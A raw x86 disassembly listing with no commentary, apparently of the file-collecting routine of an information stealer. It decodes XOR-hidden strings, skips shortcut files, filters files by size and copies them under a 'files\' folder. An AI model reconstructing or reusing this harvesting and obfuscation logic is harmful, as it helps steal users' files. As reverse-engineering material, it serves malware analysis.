mov dl, 0x25
mov dword [ebp - 0x25], 0x4b490b25
mov ecx, ebx
mov word [ebp - 0x21], 0x4e
xor byte [ebp + ecx - 0x24], dl
inc ecx
cmp ecx, 4
jae 0x4168e5
mov dl, byte [ebp - 0x25]
jmp 0x4168d6
push ecx
lea eax, [ebp - 0x24]
mov byte [ebp - 0x20], bl
push eax
lea ecx, [ebp - 0x8c]
call fcn.004127e9
lea ecx, [ebp - 0x8c]
mov esi, eax
call fcn.0041332b
cmp esi, 0xffffffff
je 0x416bef
cmp byte [ebp + 0x18], 0
je 0x416bef
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x2c], eax
push ecx
push eax
mov ecx, edi
call fcn.004139f1
or dword [ebp - 0x18], 0x40000
lea ecx, [ebp - 0x150]
call fcn.0043392f
mov esi, eax
add esp, 0x18
lea eax, [ebp - 0xec]
cmp eax, esi
je 0x41695d
mov ecx, eax
call fcn.0041332b
push esi
lea ecx, [ebp - 0xec]
call fcn.00413478
lea ecx, [ebp - 0x150]
call fcn.0041332b
mov esi, 0x47748b
lea ecx, [ebp - 0xec]
mov edx, esi
call fcn.0041410b
test al, al
jne 0x41681a
mov ecx, dword [ebp + 8]
mov edx, esi
call fcn.0041410b
test al, al
jne 0x416bef
mov esi, dword [ebp - 0xb0]
mov edi, ebx
mov eax, dword [ebp - 0xac]
sub eax, esi
push 0x18
cdq
pop ecx
idiv ecx
cmp edi, eax
jae 0x41681a
cmp dword [ebp - 0xd8], 0x10
lea edx, [ebp - 0xec]
cmovae edx, dword [ebp - 0xec]
imul ecx, edi, 0x18
add ecx, esi
cmp dword [ecx + 0x14], 0x10
jb 0x4169d3
mov ecx, dword [ecx]
call fcn.00437087
test eax, eax
je 0x416be9
mov byte [ebp - 0xfc], bl
lea edx, [ebp - 0xec]
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x44]
call fcn.00414d34
pop ecx
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x44]
mov esi, dword [ebp - 0x14]
or esi, 4
mov dword [ebp - 0x14], esi
call fcn.004156d2
and eax, 0xfffffc00
cmp edx, ebx
ja 0x416a7a
jb 0x416a22
cmp eax, 0x4e2000
jae 0x416a7a
mov byte [ebp - 0xc4], bl
lea edx, [ebp - 0xec]
push dword [ebp - 0xc4]
lea ecx, [ebp - 0x8c]
call fcn.00414d34
pop ecx
mov dword [ebp - 4], 0x33
lea ecx, [ebp - 0x8c]
or esi, 8
mov dword [ebp - 0x14], esi
call fcn.004156d2
mov esi, eax
mov ecx, edx
mov eax, dword [ebp - 0x90]
shrd esi, ecx, 0xa
cdq
shr ecx, 0xa
cmp ecx, edx
ja 0x416a7a
jb 0x416a74
cmp esi, eax
jae 0x416a7a
mov byte [ebp + 0xf], 1
jmp 0x416a7d
mov byte [ebp + 0xf], bl
mov eax, dword [ebp - 0x14]
test al, 8
je 0x416a98
and eax, 0xfffffff7
lea ecx, [ebp - 0x8c]
mov dword [ebp - 0x14], eax
call fcn.0041314d
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x2e
test al, 4
je 0x416ab1
and eax, 0xfffffffb
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x14], eax
call fcn.0041314d
cmp byte [ebp + 0xf], 0
je 0x416be3
mov edi, 0x477524
mov dword [ebp - 0x44], ebx
push edi
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], bl
call fcn.0041338c
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x34
push eax
lea edx, [ebp - 0xec]
lea ecx, [ebp - 0x114]
call fcn.00436fd3
pop ecx
push eax
lea ecx, [ebp - 0xf8]
call fcn.00419386
lea ecx, [ebp - 0x114]
call fcn.00419522
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x2e
call fcn.0041332b
mov eax, dword [ebp - 0x94]
mov esi, eax
inc dword [0x48a8d0]
cmp dword [eax + 0x14], 0x10
jb 0x416b2c
mov esi, dword [eax]
mov dl, 0x33
mov dword [ebp - 0x5c], 0x5f5a5533
mov dword [ebp - 0x58], 0x6f4056
mov ecx, ebx
xor byte [ebp + ecx - 0x5b], dl
inc ecx
cmp ecx, 6
jae 0x416b4d
mov dl, byte [ebp - 0x5c]
jmp 0x416b3e
mov edx, esi
mov byte [ebp - 0x55], bl
lea ecx, [ebp - 0x5b]
call fcn.00433ad6
mov dword [ebp - 0x74], ebx
lea ecx, [ebp - 0x74]
push eax
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], bl
call fcn.0041338c
push 1
push edi
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x35
call fcn.004133ad
cmp dword [ebp - 0xd8], 0x10
lea esi, [ebp - 0xec]
mov edx, dword [ebp - 0xf4]
cmovae esi, dword [ebp - 0xec]
add edx, 0xffffffe8
cmp dword [edx + 0x14], 0x10
jb 0x416ba7
mov edx, dword [edx]
cmp dword [ebp - 0x60], 0x10
lea ecx, [ebp - 0x74]
cmovae ecx, dword [ebp - 0x74]
call fcn.00433ad6
mov ecx, dword [0x48a8e0]
mov edx, eax
push 2
push ebx
push esi
call fcn.0043cd4e
add esp, 0xc
lea ecx, [ebp - 0xf8]
call fcn.00419329
lea ecx, [ebp - 0x74]
call fcn.0041332b
jmp 0x41681a
mov esi, dword [ebp - 0xb0]
inc edi
jmp 0x41699c
mov ecx, dword [ebp + 8]
mov edx, 0x47748b
call fcn.0041410b
test al, al
jne 0x416e16
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov eax, dword [ebp - 0xac]
sub eax, dword [ebp - 0xb0]
push 0x18
cdq
pop ecx
idiv ecx
cmp esi, eax
jae 0x416f91
lea eax, [ebp - 0x150]
mov ecx, edi
push eax
call fcn.0040b362
push ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x36
push ecx
mov ecx, eax
call fcn.004139f1
or dword [ebp - 0x18], 0x2000000
lea edx, [ebp - 0x8c]
cmp dword [ebp - 0x78], 0x10
cmovae edx, dword [ebp - 0x8c]
imul ecx, esi, 0x18
add ecx, dword [ebp - 0xb0]
cmp dword [ecx + 0x14], 0x10
jb 0x416c6d
mov ecx, dword [ecx]
call fcn.00437087
lea ecx, [ebp - 0x8c]
mov esi, eax
call fcn.0041332b
lea ecx, [ebp - 0x150]
mov byte [ebp - 4], 0x2e
call fcn.0041314d
test esi, esi
je 0x416e0a
mov ecx, edi
call fcn.004156d2
and eax, 0xfffffc00
cmp edx, ebx
ja 0x416e0a
jb 0x416cb7
cmp eax, 0x4e2000
jae 0x416e0a
mov ecx, edi
call fcn.004156d2
mov esi, eax
mov ecx, edx
mov eax, dword [ebp - 0x90]
shrd esi, ecx, 0xa
cdq
shr ecx, 0xa
cmp ecx, edx
ja 0x416e0a
jb 0x416ce2
cmp esi, eax
jae 0x416e0a
mov eax, dword [ebp - 0x94]
mov esi, eax
cmp dword [eax + 0x14], 0x10
jb 0x416cf2
mov esi, dword [eax]
mov cl, 0x45
mov dword [ebp - 0x54], 0x292c2345
mov dword [ebp - 0x50], 0x193620
mov edx, ebx
xor byte [ebp + edx - 0x53], cl
inc edx
cmp edx, 6
jae 0x416d13
mov cl, byte [ebp - 0x54]
jmp 0x416d04
mov edx, esi
mov byte [ebp - 0x4d], bl
lea ecx, [ebp - 0x53]
call fcn.00433ad6
mov dword [ebp - 0x74], ebx
lea ecx, [ebp - 0x74]
push eax
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], bl
call fcn.0041338c
push 1
push 0x477524
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x37
call fcn.004133ad
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x44]
push ecx
push eax
lea ecx, [esi + 0x20]
call fcn.004139f1
or dword [ebp - 0x18], 0x10000000
mov byte [ebp - 4], 0x38
lea eax, [ebp - 0x150]
cmp dword [ebp - 0x30], 0x10
lea edi, [ebp - 0x44]
push eax
cmovae edi, dword [ebp - 0x44]
lea ecx, [esi + 0x20]
call fcn.0040b362
push ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x39
push ecx
mov ecx, eax
call fcn.004139f1
or dword [ebp - 0x18], 0x80000000
mov byte [ebp - 4], 0x3a
lea edx, [ebp - 0x8c]
cmp dword [ebp - 0x78], 0x10
lea ecx, [ebp - 0x74]
cmovae edx, dword [ebp - 0x8c]
cmp dword [ebp - 0x60], 0x10
cmovae ecx, dword [ebp - 0x74]
call fcn.00433ad6
mov ecx, dword [0x48a8e0]
mov edx, eax
push 2
push ebx
push edi
call fcn.0043cd4e
add esp, 0xc
lea ecx, [ebp - 0x8c]
call fcn.0041332b
lea ecx, [ebp - 0x150]
call fcn.0041314d
lea ecx, [ebp - 0x44]
call fcn.0041332b
inc dword [0x48a8d0]
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x2e
call fcn.0041332b
mov edi, dword [ebp - 0xc8]
mov esi, dword [ebp - 0x2c]
inc esi
mov dword [ebp - 0x2c], esi
jmp 0x416c09
mov ecx, edi
call fcn.004156d2
and eax, 0xfffffc00
cmp edx, ebx
ja 0x416f91
jb 0x416e37
cmp eax, 0x4e2000
jae 0x416f91
mov ecx, edi
call fcn.004156d2
mov esi, eax
mov ecx, edx
mov eax, dword [ebp - 0x90]
shrd esi, ecx, 0xa
cdq
shr ecx, 0xa
cmp ecx, edx
ja 0x416f91
jb 0x416e62
cmp esi, eax
jae 0x416f91
mov eax, dword [ebp - 0x94]
mov esi, eax
cmp dword [eax + 0x14], 0x10
jb 0x416e72
mov esi, dword [eax]
mov cl, 0x43
mov dword [ebp - 0x4c], 0x2f2a2543
mov dword [ebp - 0x48], 0x1f3026
mov edx, ebx
xor byte [ebp + edx - 0x4b], cl
inc edx
cmp edx, 6
jae 0x416e93
mov cl, byte [ebp - 0x4c]
jmp 0x416e84
mov edx, esi
mov byte [ebp - 0x45], bl
lea ecx, [ebp - 0x4b]
call fcn.00433ad6
mov dword [ebp - 0x74], ebx
lea ecx, [ebp - 0x74]
push eax
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], bl
call fcn.0041338c
push 1
push 0x477524
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x3b
call fcn.004133ad
push ecx
lea eax, [ebp - 0x44]
mov ecx, edi
push eax
call fcn.004139f1
or dword [ebp - 0x98], 4
mov byte [ebp - 4], 0x3c
lea eax, [ebp - 0x150]
cmp dword [ebp - 0x30], 0x10
lea esi, [ebp - 0x44]
push eax
cmovae esi, dword [ebp - 0x44]
mov ecx, edi
call fcn.0040b362
push ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x3d
push ecx
mov ecx, eax
call fcn.004139f1
or dword [ebp - 0x98], 0x20
mov byte [ebp - 4], 0x3e
lea edx, [ebp - 0x8c]
cmp dword [ebp - 0x78], 0x10
lea ecx, [ebp - 0x74]
cmovae edx, dword [ebp - 0x8c]
cmp dword [ebp - 0x60], 0x10
cmovae ecx, dword [ebp - 0x74]
call fcn.00433ad6
mov ecx, dword [0x48a8e0]
mov edx, eax
push 2
push ebx
push esi
call fcn.0043cd4e
add esp, 0xc
lea ecx, [ebp - 0x8c]
call fcn.0041332b
lea ecx, [ebp - 0x150]
call fcn.0041314d
lea ecx, [ebp - 0x44]
call fcn.0041332b
inc dword [0x48a8d0]
lea ecx, [ebp - 0x74]
call fcn.0041332b
jmp 0x416f91
mov dword [ebp - 4], 0x2d
lea ecx, [ebp - 0xc0]
call fcn.0040be48
mov edi, dword [ebp - 0xc0]
mov esi, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
mov dword [ebp + 0xc], edi
jmp 0x416753
test esi, esi
je 0x416fc8
mov ecx, esi
call fcn.0040a717
mov ecx, dword [ebp - 0x100]
test ecx, ecx
je 0x415ada
call fcn.0040a717
jmp 0x415ada